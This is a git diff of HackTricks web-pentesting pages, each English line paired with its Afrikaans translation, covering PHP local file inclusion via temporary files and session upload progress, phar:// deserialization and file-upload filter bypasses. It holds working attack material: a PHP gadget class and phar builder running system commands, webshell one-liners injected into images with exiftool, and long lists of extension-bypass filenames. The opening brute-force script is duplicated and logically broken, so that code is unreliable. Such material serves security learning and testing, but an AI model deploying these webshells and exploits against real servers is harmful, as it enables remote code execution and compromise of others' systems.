def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
bruteforce(charset)
if __name__ == "__main__":
main()
main()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,32 @@
{{#include ../../banners/hacktricks-training.md}}
**Check the full details of this technique in [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)**
**Kyk die volle besonderhede van hierdie tegniek in [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)**
## **PHP File uploads**
## **PHP Lêer opgelaai**
When a **PHP** engine receives a **POST request** containing files formatted according to RFC 1867, it generates temporary files to store the uploaded data. These files are crucial for file upload handling in PHP scripts. The `move_uploaded_file` function must be used to relocate these temporary files to a desired location if persistent storage beyond the script's execution is needed. Post-execution, PHP automatically deletes any remaining temporary files.
Wanneer 'n **PHP** enjin 'n **POST versoek** ontvang wat lêers bevat wat volgens RFC 1867 geformateer is, genereer dit tydelike lêers om die opgelaaide data te stoor. Hierdie lêers is noodsaaklik vir lêeroplaai hanteer in PHP-skripte. Die `move_uploaded_file` funksie moet gebruik word om hierdie tydelike lêers na 'n gewenste ligging te verskuif indien volhoubare stoorplek buite die skrip se uitvoering benodig word. Na uitvoering, verwyder PHP outomaties enige oorblywende tydelike lêers.
> [!NOTE]
> **Security Alert: Attackers, aware of the temporary files' location, might exploit a Local File Inclusion vulnerability to execute code by accessing the file during upload.**
> **Sekuriteitswaarskuwing: Aanvallers, wat bewus is van die tydelike lêers se ligging, mag 'n Local File Inclusion kwesbaarheid benut om kode uit te voer deur toegang tot die lêer tydens opgelaai.**
The challenge for unauthorized access lies in predicting the temporary file's name, which is intentionally randomized.
Die uitdaging vir ongemagtigde toegang lê in die voorspelling van die tydelike lêer se naam, wat doelbewus gerandomiseer is.
#### Exploitation on Windows Systems
#### Exploitatie op Windows Stelsels
On Windows, PHP generates temporary file names using the `GetTempFileName` function, resulting in a pattern like `<path>\<pre><uuuu>.TMP`. Notably:
Op Windows genereer PHP tydelike lêernaam met die `GetTempFileName` funksie, wat 'n patroon soos `<path>\<pre><uuuu>.TMP` oplewer. Opmerklik:
- The default path is typically `C:\Windows\Temp`.
- The prefix is usually "php".
- The `<uuuu>` represents a unique hexadecimal value. Crucially, due to the function's limitation, only the lower 16 bits are used, allowing for a maximum of 65,535 unique names with constant path and prefix, making brute force feasible.
Moreover, the exploitation process is simplified on Windows systems. A peculiarity in the `FindFirstFile` function permits the use of wildcards in Local File Inclusion (LFI) paths. This enables crafting an include path like the following to locate the temporary file:
- Die standaard pad is tipies `C:\Windows\Temp`.
- Die voorvoegsel is gewoonlik "php".
- Die `<uuuu>` verteenwoordig 'n unieke hexadesimale waarde. Belangrik, as gevolg van die funksie se beperking, word slegs die laer 16 bits gebruik, wat 'n maksimum van 65,535 unieke name met konstante pad en voorvoegsel moontlik maak, wat brute force haalbaar maak.
Boonop is die eksploitasiestap vereenvoudig op Windows stelsels. 'n Eienaardigheid in die `FindFirstFile` funksie laat die gebruik van wildcard in Local File Inclusion (LFI) paaie toe. Dit stel in staat om 'n insluitpad soos die volgende te skep om die tydelike lêer te vind:
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```
In sekere situasies mag 'n meer spesifieke masker (soos `php1<<` of `phpA<<`) benodig word. 'n Mens kan sistematies hierdie maskers probeer om die opgelaaide tydelike lêer te ontdek.
In certain situations, a more specific mask (like `php1<<` or `phpA<<`) might be required. One can systematically try these masks to discover the uploaded temporary file.
#### Exploitatie op GNU/Linux Stelsels
#### Exploitation on GNU/Linux Systems
For GNU/Linux systems, the randomness in temporary file naming is robust, rendering the names neither predictable nor susceptible to brute force attacks. Further details can be found in the referenced documentation.
Vir GNU/Linux stelsels is die ewekansigheid in tydelike lêernaamgewing robuust, wat die name nie voorspelbaar of kwesbaar vir brute force-aanvalle maak nie. Verdere besonderhede kan in die verwysde dokumentasie gevind word.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,49 +1,46 @@
# phar:// deserialization
# phar:// deserialisering
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**Bug bounty wenk**: **meld aan** by **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin verdien bounties tot **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.
**Phar** lêers (PHP-argief) **bevat meta data in geserialiseerde formaat**, so, wanneer dit geparseer word, word hierdie **metadata** **gedeserializeer** en jy kan probeer om 'n **deserialisering** kwesbaarheid in die **PHP** kode te misbruik.
The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**.
So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:
Die beste ding van hierdie eienskap is dat hierdie deserialisering sal plaasvind selfs met PHP-funksies wat nie PHP-kode eval nie, soos **file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**.
So, stel jou 'n situasie voor waar jy 'n PHP-web kan laat die grootte van 'n arbitrêre lêer kry met die **`phar://`** protokol, en binne die kode vind jy 'n **klas** soortgelyk aan die volgende:
```php:vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:
U kan 'n **phar**-lêer skep wat, wanneer dit gelaai word, **hierdie klas sal misbruik om arbitrêre opdragte** met iets soos:
```php:create_phar.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
function __destruct() {
system($this->data);
}
}
// create new Phar
@ -57,29 +54,23 @@ $object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\
**Compile** the `test.phar` file with:
Let op hoe die **magic bytes van JPG** (`\xff\xd8\xff`) aan die begin van die phar-lêer bygevoeg word om **te omseil** **moontlike** lêer **oplaai** **beperkings**.\
**Compileer** die `test.phar` lêer met:
```bash
php --define phar.readonly=0 create_phar.php
```
And execute the `whoami` command abusing the vulnerable code with:
En voer die `whoami` opdrag uit deur die kwesbare kode te misbruik met:
```bash
php vuln.php
```
### References
### Verwysings
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**Foutbounty wenk**: **meld aan** vir **Intigriti**, 'n premium **foutbounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin verdien bounties tot **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Info
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If **`session.upload_progress.enabled`** is **`On`** and you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**.
## Basiese Inligting
As jy 'n **Local File Inclusion** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Af`. As **`session.upload_progress.enabled`** is **`Aan`** en jy verskaf die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, sal PHP **die sessie vir jou aktiveer**.
```bash
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
@ -19,22 +18,20 @@ $ ls -a /var/lib/php/sessions/
In the last example the session will contain the string blahblahblah
```
Note that with **`PHP_SESSION_UPLOAD_PROGRESS`** you can **control data inside the session**, so if you includes your session file you can include a part you control (a php shellcode for example).
Let daarop dat jy met **`PHP_SESSION_UPLOAD_PROGRESS`** **data binne die sessie kan beheer**, so as jy jou sessie lêer insluit, kan jy 'n deel insluit wat jy beheer (soos 'n php shellcode).
> [!NOTE]
> Although most tutorials on the Internet recommends you to set `session.upload_progress.cleanup` to `Off` for debugging purpose. The default `session.upload_progress.cleanup` in PHP is still `On`. It means your upload progress in the session will be cleaned as soon as possible. So this will be **Race Condition**.
> Alhoewel die meeste tutorials op die Internet aanbeveel om `session.upload_progress.cleanup` op `Off` te stel vir foutopsporing, is die standaard `session.upload_progress.cleanup` in PHP steeds `On`. Dit beteken jou oplaai vordering in die sessie sal so gou as moontlik skoongemaak word. So dit sal **Race Condition** wees.
### The CTF
### Die CTF
In the [**original CTF**](https://blog.orange.tw/2018/10/) where this technique is commented, it wasn't enough to exploit the Race Condition but the content loaded needed to start also with the string `@<?php`.
In die [**oorspronklike CTF**](https://blog.orange.tw/2018/10/) waar hierdie tegniek kommentaar gelewer is, was dit nie genoeg om die Race Condition te benut nie, maar die inhoud wat gelaai is, moes ook met die string `@<?php` begin.
Due to the default setting of `session.upload_progress.prefix`, our **SESSION file will start with a annoying prefix** `upload_progress_` Such as: `upload_progress_controlledcontentbyattacker`
As gevolg van die standaardinstelling van `session.upload_progress.prefix`, sal ons **SESSION lêer met 'n irriterende voorvoegsel begin** `upload_progress_` Soos: `upload_progress_controlledcontentbyattacker`
The trick to **remove the initial prefix** was to **base64encode the payload 3 times** and then decode it via `convert.base64-decode` filters, this is because when **base64 decoding PHP will remove the weird characters**, so after 3 times **only** the **payload** **sent** by the attacker will **remain** (and then the attacker can control the initial part).
Die truuk om die **beginvoorvoegsel te verwyder** was om die **payload 3 keer te base64encode** en dit dan via `convert.base64-decode` filters te decodeer, dit is omdat wanneer **base64 decoding PHP die vreemde karakters sal verwyder**, so na 3 keer sal **slegs** die **payload** **gestuur** deur die aanvaller **oorbly** (en dan kan die aanvaller die aanvanklike deel beheer).
More information in the original writeup [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) and final exploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
Another writeup in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
Meer inligting in die oorspronklike skrywe [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) en finale eksploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
Nog 'n skrywe in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# File Upload
# Lêer Laai
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
## File Upload General Methodology
## Lêer Laai Algemene Metodologie
Other useful extensions:
Ander nuttige uitbreidings:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Werk in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -21,101 +21,100 @@ Other useful extensions:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### Oorbrug lêer uitbreidings kontrole
1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
- _file.png.php_
- _file.png.Php5_
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
- _file.pHp5...._
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Add **another layer of extensions** to the previous check:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
- _ex: file.php.png_
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
1. As hulle van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding by te voeg (gebruik ook vorige uitbreidings):_
- _file.png.php_
- _file.png.Php5_
3. Probeer om **spesiale karakters aan die einde** by te voeg. Jy kan Burp gebruik om **bruteforce** al die **ascii** en **Unicode** karakters. (_Let daarop dat jy ook die **vorige** genoem **uitbreidings** kan probeer_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
- _file.pHp5...._
4. Probeer om die beskermings te omseil **deur die uitbreiding parser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Voeg **nog 'n laag van uitbreidings** by die vorige kontrole:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
- _bv: file.php.png_
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos om sy kort lêernaam te gebruik, gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon by te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
```
# Linux maksimum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by
# Laai die lêer op en kontroleer die antwoord hoeveel karakters dit toelaat. Kom ons sê 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Maak die payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
### Oorbrug Inhoud-Tipe, Magic Nommer, Kompressie & Hervergroting
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Oorbrug **Inhoud-Tipe** kontrole deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
1. Inhoud-Tipe **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Oorbrug **magic nommer** kontrole deur die begin van die lêer die **bytes van 'n werklike beeld** by te voeg (verwar die _file_ opdrag). Of stel die skulp in die **metadata** in:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die webblad kan ook die **beeld** **hervergroting**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 'n Ander tegniek om 'n payload te maak wat **kompressie oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Ander Tricks om te kontroleer
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
- **Possible Information disclosure**:
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
- Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander).
- Vind 'n **Plaaslike Lêer Insluiting** kwesbaarheid om die backdoor uit te voer.
- **Mogelijke Inligting openbaar**:
1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam** op
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
### Special extension tricks
### Spesiale uitbreiding tricks
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** trick om kode uit te voer](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** trick om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
Die `.inc` uitbreiding word soms gebruik vir php lêers wat net gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die skulp!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
